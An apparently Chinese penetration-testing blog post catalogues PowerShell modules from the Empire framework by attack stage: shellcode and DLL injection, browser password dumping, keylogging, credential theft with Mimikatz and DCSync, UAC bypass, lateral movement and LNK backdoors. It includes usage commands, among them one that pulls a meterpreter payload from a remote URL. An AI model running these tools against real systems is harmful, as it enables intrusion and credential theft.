0x01 前言:
对于empire
[说实话确实有些老了] 想必大家也都已经不再陌生,很多人说它是神器
,嘿嘿……原谅我一直也没搞清楚神器
的具体定义到底是什么[虽然,我知道这对于实际渗透并没任何卵用],也许在我有限的认知里,一直都以为只有能在千里之外轻松get到目标系统的system或者root权限的shell的0day
才叫神器,如果动不动就把某个确实好用点儿的脚本或者工具就叫神器,未免有点儿草率,也显得不稳重,不是吗,自己有个比较野蛮的习惯,在用别人工具的时候,总是忍不住会观察,因为想尽可能理解它的内部实现[最好也是最直接的一手学习资料],如果换成是我自己这代码会怎么写呢
,虽然是后知后觉,但拓展出来的思路足以让自己受益良多[站在别人的肩膀上可以走的更快,这是真的],虽然,自己并没有再把代码把它实现一遍,但对整个工具架构实现已经有了更清晰的理解和把握,到了实际用的时候自然就不一样了[更灵活点儿嘛],以后再看到类似的工具,可能一眼就能看透个百分之七八十,嘿嘿……纯粹是个人喜好哈,听过就好,废话过后,咱们说正题,今天主要是对empire中一些好用的powershell脚本做些简要的使用说明,当然啦,自己已经事先把empire中的powershell脚本选择性的提取了一下,因为我们的重点还是powershell,并非empire脚本本身,整个过程中也不会有任何涉及工具自身使用的东西,其实,empire使用真的非常简单,命令帮助已经写的非常详细了,看看帮助相信大家很快就能上手,不过整个工具最核心的东西还是这些ps脚本[对于一个职业渗透者来讲,您应该一开始就尽量朝着你所能理解的本质去,慢慢的,一旦养成这种习惯,同一个东西,你往往能看见别人看不见的一些小细节],因为这中间有很多脚本跟之前是重复的,所以就选择性的说一些,脚本使用都非常简单,就不再一一截图了,实在是好累啊,还是那句话,关键是大家能在实际渗透中用上,别的都是扯淡
0x02 执行系统指令的相关模块[code_execution]:
1 2 3
| Invoke-DllInjection.ps1 向指定进程中注入自定义dll Invoke-ReflectivePEInjection.ps1 反射注入 dll Invoke-Shellcode.ps1 执行自定义shellcode
|
1 2 3 4
| Invoke-MetasploitPayload.ps1 尝试派生一个meterpreter的shell PS C:\> Set-ExecutionPolicy Unrestricted PS C:\> Import-Module C:\empire\code_execution\Invoke-MetasploitPayload.ps1 PS C:\> Invoke-MetasploitPayload -url http://192.168.3.6:8080/
|
1 2
| Invoke-ShellcodeMSIL.ps1 在powershell进程中执行shellcode,避免触发win32 api PS C:\> Import-Module C:\empire\code_execution\Invoke-ShellcodeMSIL.ps1
|
0x03 一些信息搜集模块[collection],后面的脚本就不一一截图了[累],大家可以自己根据脚本中的帮助说明进行尝试:
1 2 3 4 5
| Get-ChromeDump.ps1 搜集chrome浏览器的http密码数据,浏览历史等等 Get-FoxDump.ps1 搜集Firefox浏览器的http密码数据,浏览历史等等 Get-BrowserData.ps1 搜集所有浏览器数据[IE,chrome,firefox],包括书签,收藏 PS C:\> Import-Module C:\empire\collection\Get-BrowserData.ps1 PS C:\> Get-BrowserInformation -Browser All -Datatype History -UserName admin
|
1 2 3
| Get-ClipboardContents.ps1 提前当前机器剪切板中的数据,以秒为单位,默认15秒,实际中并未成功 PS C:\> Import-Module C:\empire\collection\Get-ClipboardContents.ps1 PS C:\> Invoke -ClipboardMonitor -CollectionLimit 12
|
1 2 3
| Get-Keystrokes.ps1 实时键盘记录,不太靠谱,经常会漏掉一些字符 PS C:\> Import-Module C:\empire\collection\Get-Keystrokes.ps1 PS C:\> Get-Keystrokes
|
1 2 3
| Get-Screenshot.ps1 截图,貌似不太好使,不过前面有脚本是好使的 PS C:\> Import-Module C:\empire\collection\Get-Screenshot.ps1 PS C:\> Get-Screenshot
|
1 2 3 4
| Invoke-Inveigh.ps1 嗅探器,需要管理权限,支持LLMNR, NBNS, SMB, HTTP, and HTTPS Invoke-InveighUnprivileged.ps1 嗅探smb hash,不需要管理员权限 Invoke-NetRipper.ps1 尝试从指定的浏览器进程中导出https明文密码数据,曾经黑帽大会的经典工具 Out-Minidump.ps1 相当于prodump -ma 免杀抓hash,缺点文件较大
|
0x04 抓各种密码的方式[credentials]:
1 2 3 4 5 6
| Get-VaultCredential.ps1从Vault 获取各种密码 Invoke-CredentialInjection.ps1 类似wce的hash注入 Invoke-Mimikatz.ps1 Invoke-PowerDump.ps1 Invoke-TokenManipulation.ps1 窃取令牌 Invoke-DCSync.ps1
|
0x05 提权[privesc]及bypasuac的各种方法:
1 2 3 4 5
| Invoke-MS16032.ps1 可能不太好使 Invoke-WScriptBypassUAC.ps1 Invoke-BypassUAC.ps1 Get-SiteListPassword.ps1 Invoke-WScriptBypassUAC.ps1
|
0x06 各种内网渗透相关模块 [situational_awareness]:
1 2 3 4 5
| Invoke-SmbScanner.ps1 全自动smb弱口令扫描 Invoke-Portscan.ps1 tcp端口扫描 Invoke-ARPScan.ps1 内网arp扫描 Get-SPN.ps1 Invoke-WinEnum.ps1
|
0x07 横向渗透[lateral_movement],拓展内网的其它机器:
1 2 3
| Invoke-PsExec.ps1 powershell版的psexec Invoke-SSHCommand.ps1 powershell版本的ssh工具,可以利用它方便的ssh到内网的linux机器上 Invoke-InveighRelay.ps1 经典的smb重放攻击
|
0x08 持久控制 [persistence]:
1 2 3 4
| Install-SSP.ps1 Invoke-BackdoorLNK.ps1 win快捷方式后门 Get-SecurityPackages.ps1 PowerBreach.ps1
|
0x09 一些内网web中间件利用:
1 2
| Exploit-Jenkins.ps1 Exploit-JBoss.ps1
|